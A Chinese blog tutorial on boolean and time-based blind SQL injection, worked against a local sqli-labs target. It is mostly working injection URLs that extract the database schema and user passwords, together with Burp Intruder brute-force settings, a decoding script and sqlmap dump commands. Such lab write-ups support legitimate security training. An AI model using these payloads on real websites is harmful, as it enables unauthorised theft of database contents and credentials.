SQL布尔盲注与时间盲注

huangxin0506 2024-7-28 583 7/28

SQL布尔盲注与时间盲注

1 盲注

1.1 概念:

     盲注就是在SQL注入过程中,SQL语句执行select之后,可能由于网站代码的限制或者Apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

     通俗的讲就是在前端页面没有显示位,不能返回SQL语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行SQL注入。

1.2 分类:

    布尔盲注:没有返回SQL执行的错误信息,错误与正确的输入,返回的结果只有两种

    时间盲注:页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样

    时间盲注前提条件: 首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息

2 盲注函数介绍

     length()                      返回字符串的长度

    substr()                      截取字符串(substr(str,pos,len))  

    left()                          截取字符串( left (string,n) )  LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

    ascii()                         返回字符的Ascii码

    sleep(x)                     将程序挂起x秒

    if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

3 盲注靶场的做法 

3.1 拆解数据库名称长度:

id=1' and (length(database()))>2 #

3.2 利用ASCII码猜解当前数据库名称:

and (ascii(substr(database(),1,1)))=98--+

返回正常,说明数据库名称第一位是b

and (ascii(substr(database(),2,1)))=118--+

返回正常,说明数据库名称第二位是v

做法一(使用limit函数,如果经行burp suite爆破则需要猜测字段最大数个数和字段的最大总长度,爆破量增大)

3.3 猜表名:

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=97--+

返回正常,说明数据库表名的第一个的第一位是a

3.4 猜字段名:

and (ascii(substr((select column_name from information_schema.columns where table_name=‘user' limit 0,1),1,1)))=117--+

 返回正常,说明user表中的列名称第一位是u 

3.5 猜内容:

and (ascii(substr(( select name from name limit 1,1),1,1)))=114--+

返回正常,说明name列第一位是z

做法二(使用group_concat函数,先猜测总表名或者表总字段长度(包括分隔逗号),再使用burp suite爆破,其中有逗号进行分割判断),具体过程请参照下文靶场具体做法

3.1 延时注入靶场做法

if(expr1,expr2,expr3) 判断语句:如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

4 布尔盲注靶场实例分析

4.1 没有显示SQL语句错误信息,但页面变化

注入id=1'

SQL布尔盲注与时间盲注

4.2 正确与错误显示信息不同

注入id=1' and 1=1 -- +,页面显示You are in...........

SQL布尔盲注与时间盲注

注入id=1' and 1=2 -- +,页面不显示You are in...........

SQL布尔盲注与时间盲注

4.3 当前页面字段总数为3

注入1' order by 4-- +时,页面不显示You are in...........

SQL布尔盲注与时间盲注

4.4 页面没有显示位

注入1' union select 1,2,3 -- +时,页面没有变化

SQL布尔盲注与时间盲注

综上可以判断其为布尔注入

4.5  推测数据库名的长度 

http://192.168.174.131/Less-8/?id=1' and length(database())=8 -- +

SQL布尔盲注与时间盲注

4.6 推测数据库名,注入id=1' and ascii(substr(database(),1,1))=115 -- +,使用burp suite对页面进行抓包(爆破举例)

http://192.168.174.131/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- +

SQL布尔盲注与时间盲注

将其发送至Intruder

SQL布尔盲注与时间盲注

选择集束炸弹攻击,并清除原有§,在想添加Payloads的添加§,这样就可以实现暴力测试

SQL布尔盲注与时间盲注

数据库已推测是8位,substr(database(),1,1)会得到数据库第一位符号,且只从1开始(不从0开始),便知第一个payload设置为数值并从1开始到8,增量为1

SQL布尔盲注与时间盲注

因为我们已经转换成ascii码,便设置第二个payload也为数值,从32到126,增量为1

SQL布尔盲注与时间盲注

攻击后,将数据按payload 1排列,然后按长度排列

SQL布尔盲注与时间盲注

保存结果表,默认类型是所有文件,直接选用表格打开工具打开

SQL布尔盲注与时间盲注

复制需要转换的ascii码,新建input.xlsx文件,列名随意起一个,再将数据复制进去(这里不能直接在burp suite输出时设定格式为.xlsx,因为使用脚本转换后会报错,必须新建)

import pandas as pd

# 读取Excel文件
df = pd.read_excel('input.xlsx')

# 初始化变量
output_lines = []
current_line = []

# 逐字符处理数据
for row in df.itertuples(index=False):
    for ascii_val in row:
        char = chr(ascii_val)
        if char == ',':
            output_lines.append(''.join(current_line))
            current_line = []
        else:
            current_line.append(char)

# 添加最后一行,如果有剩余字符
if current_line:
    output_lines.append(''.join(current_line))

# 保存为文本文件
output_txt_path = 'output.txt'
with open(output_txt_path, 'w', encoding='utf-8') as file:
    for line in output_lines:
        file.write(line + '\n')

print(f"转换完成,结果已保存到 {output_txt_path}")

将input.txt放入python脚本同级目录,运行脚本,即可得到转换后的数据库名security

SQL布尔盲注与时间盲注

4.7 推测数据库中所有表名总长度

http://192.168.174.131/Less-8/?id=1' and length( (select group_concat(table_name) from information_schema.tables where table_schema =database()) )=29 -- +

SQL布尔盲注与时间盲注

4.8 推测数据库中所有表名,将其进行抓包,并发送给测试器,选择集束炸弹并添加payload

http://192.168.174.131/Less-8/?id=1' and ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1) )=101 -- +

SQL布尔盲注与时间盲注

设置payload 1为数值,从1到29,payload 2为数值,从32到126,增量均为1

SQL布尔盲注与时间盲注

SQL布尔盲注与时间盲注

将数据按payload 1排列,后按长度排列,保存结果表,使用脚本进行数据处理得到数据库下所有表名

SQL布尔盲注与时间盲注

4.9 推测users表字段总长度 20

http://192.168.174.131/Less-8/?id=1' and length( ( select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()) ) =20 -- +

SQL布尔盲注与时间盲注

4.10 推测users表总字段名,将其进行抓包,并发送给测试器,选择集束炸弹并添加payload

http://192.168.174.131/Less-8/?id=1' and ascii( substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1) ) =105 -- +

SQL布尔盲注与时间盲注

设置payload 1为数值,从1到20,payload 2为数值,从32到126,增量均为1

SQL布尔盲注与时间盲注

SQL布尔盲注与时间盲注

将数据按payload 1排列,后按长度排列,保存结果表,使用脚本进行数据处理得到users表的所有字段名

SQL布尔盲注与时间盲注

4.11 推测users表的内容总长度 192

http://192.168.174.131/Less-8/?id=1' and length((select group_concat(id,username,password) from users))=192-- +

SQL布尔盲注与时间盲注

4.12 推测整个表内容

http://192.168.174.131/Less-8/?id=1' and ascii(substr((select group_concat(id,username,password) from users),1,1))=49-- +

将其进行抓包,并发送给测试器,选择集束炸弹并添加payload

SQL布尔盲注与时间盲注

设置payload 1为数值,从1到192,payload 2为数值,从32到126,增量均为1

SQL布尔盲注与时间盲注

SQL布尔盲注与时间盲注

将数据按payload 1排列,后按长度排列,保存结果表,使用脚本进行数据处理得到数据库下所有字段内容

SQL布尔盲注与时间盲注

5 布尔盲注靶场实例分析

5.1 没有显示SQL语句错误信息,页面也没有变化

注入id=1'

SQL布尔盲注与时间盲注

5.2 正确与错误注入显示信息相同

注入id=1' and 1=1 -- +,页面显示You are in...........

SQL布尔盲注与时间盲注

注入id=1' and 1=2 -- +,页面仍显示You are in...........

SQL布尔盲注与时间盲注

5.3 当前页面字段总数无法判断

注入1' order by 4-- +时,页面也会显示You are in...........

SQL布尔盲注与时间盲注

5.4 页面没有显示位

注入1' union select 1,2,3 -- +时,页面没有变化

SQL布尔盲注与时间盲注

综上可以判断其为时间注入

5.5 推测数据库名的长度 (使用if语句和sleep函数)

http://192.168.174.131/Less-9/?id=1' and if(length(database())=8,1,sleep(15)) -- +

当数据库名长度错误时,浏览器会加载15秒

SQL布尔盲注与时间盲注

当数据库名长度为8时,直接进入页面

SQL布尔盲注与时间盲注

5.6 根据if语句和sleep函数,我们可以判断浏览器加载时间进而判断语句的正确性,我们这样就可以形成布尔注入

推测数据库名的首位字符

http://192.168.174.131/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(15)) -- +

 

推测数据库所有表名的总长度

http://192.168.174.131/Less-9/?id=1' and if(length( (select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 ,1,sleep(15)) -- +

 

推测数据库中所有表名的首位字符

http://192.168.174.131/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(15)) -- +

 

推测users表字段名的总长度

http://192.168.174.131/Less-9/?id=1' and if(length( (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ))=20,1,sleep(15)) -- +

 

推测users表所有字段名的首位字符

http://192.168.174.131/Less-9/?id=1' and if(ascii( substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ),1,1))=105,1,sleep(15))+--++

 

推测users表中所有内容的总长度

http://192.168.174.131/Less-9/?id=1' and if(length((select group_concat(id,username,password) from users))=192,1,sleep(15))-- +

 

推测users表内容的首位字符

http://192.168.174.131/Less-9/?id=1' and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=49,1,sleep(15))-- +

5.7 以上的注入语句由于burp suite爆破需要时间过长,所以我们采用第二种方法,使用sqlmap

sqlmap可以使用装于window环境下,也可以使用kali自带的,这里推荐使用kali环境下的,因为其运行速度更快

推测SQL注入类型

sqlmap -u " http://192.168.174.131/Less-9/?id=1" --batch

SQL布尔盲注与时间盲注

SQL布尔盲注与时间盲注

得到所有数据库名

sqlmap -u " http://192.168.174.131/Less-9/?id=1" --dbs --batch

SQL布尔盲注与时间盲注

得到数据库security的所有表名

sqlmap -u " http://192.168.174.131/Less-9/?id=1" -D security --tables --batch

SQL布尔盲注与时间盲注

得到表users的所有字段名

sqlmap -u " http://192.168.174.131/Less-9/?id=1" -D security -T users --columns --batch

SQL布尔盲注与时间盲注

得到users表的所有内容

sqlmap -u " http://192.168.174.131/Less-9/?id=1" -D security -T users -C "id,password,username" --dump --batch

SQL布尔盲注与时间盲注

 

- THE END -

huangxin0506

7月30日16:05

最后修改:2024年7月30日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论